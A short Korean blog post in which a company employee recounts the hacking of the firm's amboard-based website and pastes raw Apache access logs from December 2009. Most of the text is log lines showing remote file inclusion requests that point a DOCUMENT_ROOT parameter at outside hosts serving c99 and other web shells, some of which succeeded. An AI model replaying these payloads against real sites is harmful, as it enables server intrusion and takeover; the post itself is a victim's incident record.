마음의 안정을 찾기 위하여

얼마전 회사 업무로 인해 장기간 사무실을 비워뒀었는데, 그 기간동안에 회사 홈페이지 서버 해킹이 이뤄졌다.

회사 홈페이지를 아는 사람이 운영하는 회사에 부탁해서 만들었는데, 그쪽에서 사용한 "amsolution"이 문제가 된듯하다.

해당 솔루션에 취약점이 있는지.. 뭐 실력이 딸려서 그런거 분석하려면 시간이 좀 걸리니 무시....

78.170.44.201 - - [18/Dec/2009:09:06:34 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=forward HTTP/1.1" 200 119
78.170.44.201 - - [18/Dec/2009:09:06:34 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=up HTTP/1.1" 200 199
78.170.44.201 - - [18/Dec/2009:09:06:57 +0900] "POST /ams/amboard/////?_SERVER[DOCUMENT_ROOT]=http://myshellcode.com/c99.txt? HTTP/1.1" 200 6469
78.170.44.201 - - [18/Dec/2009:09:07:07 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=forward HTTP/1.1" 200 119
78.170.44.201 - - [18/Dec/2009:09:07:07 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=up HTTP/1.1" 200 199
78.170.44.201 - - [18/Dec/2009:09:07:19 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=refresh HTTP/1.1" 200 200
78.170.44.201 - - [18/Dec/2009:09:07:21 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=search HTTP/1.1" 200 250
78.170.44.201 - - [18/Dec/2009:09:07:29 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=buffer HTTP/1.1" 200 163
78.170.44.201 - - [18/Dec/2009:09:07:30 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=sort_asc HTTP/1.1" 200 85
78.170.44.201 - - [18/Dec/2009:09:07:38 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=ext_lnk HTTP/1.1" 200 572
78.170.44.201 - - [18/Dec/2009:09:07:41 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=ext_diz HTTP/1.1" 200 1027
78.170.44.201 - - [18/Dec/2009:09:07:47 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=small_dir HTTP/1.1" 200 164
78.170.44.201 - - [18/Dec/2009:09:07:49 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=ext_php HTTP/1.1" 200 79
78.170.44.201 - - [18/Dec/2009:09:07:54 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=change HTTP/1.1" 200 290
78.170.44.201 - - [18/Dec/2009:09:08:00 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=download HTTP/1.1" 200 161
78.170.44.201 - - [18/Dec/2009:09:08:07 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=arrow_ltr HTTP/1.1" 200 88
78.170.44.201 - - [18/Dec/2009:09:21:54 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=ls&d=%2Fhome%2Ftemp%2Fbonsys%2Fpublic_html%2F&sort=0a HTTP/1.1" 200 5430
78.170.44.201 - - [18/Dec/2009:09:22:21 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=ext_css HTTP/1.1" 200 134
78.170.44.201 - - [18/Dec/2009:09:22:21 +0900] "GET /ams/amboard/////?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fmyshellcode.com%2Fc99.txt%3F&act=img&img=ext_htm HTTP/1.1" 200 79
121.101.214.54 - - [18/Dec/2009:13:20:39 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lb1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:39 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/ranmx.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:40 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lb1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:40 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lb1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:41 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/ranmx.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:46 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/ranmx.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:46 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/ranmx.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:07 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/id1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:07 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/id1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:07 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:07 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////aprinter.xpp??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////aprinter.xpp??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:21:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:12 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/id1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:12 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/id1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:18 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:18 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:23 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////aprinter.xpp??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:23 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////aprinter.xpp??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:29 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:29 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:34 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:21:35 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:40 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:40 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:40 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:43 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:45 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:46 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:46 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:48 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:50 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:51 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:51 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:53 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:55 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:57 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:19:57 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:19:58 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lp1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:01 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:02 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:02 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:04 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:06 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:08 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:09 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:11 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:13 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:13 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:14 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/cbn1.txt??? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:16 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:18 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:18 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:19 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:21 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:24 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:24 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:24 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:26 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:29 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:29 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:29 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////sprinter.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:31 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:34 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:35 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
66.249.131.120 - - [18/Dec/2009:13:20:35 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://gfqatar.com////ashell.xpp? HTTP/1.1" 404 295
121.101.214.54 - - [18/Dec/2009:13:20:36 +0900] "GET /ams/amboard////?_SERVER[DOCUMENT_ROOT]=http://schill-struemp.de/lb1.txt??? HTTP/1.1" 404 295

결론적으로는 amboard를 사용하는 부분을 전부 제거해버리고 나니, 회사 홈페이지가 바보가 되어버렸다. -_-;
내일부터 쉬엄쉬엄 생노가다 Html로 디자인만 유지하게 만들어놔야지 -_-; 별짓을 다하고 있다.. 정말 -_-;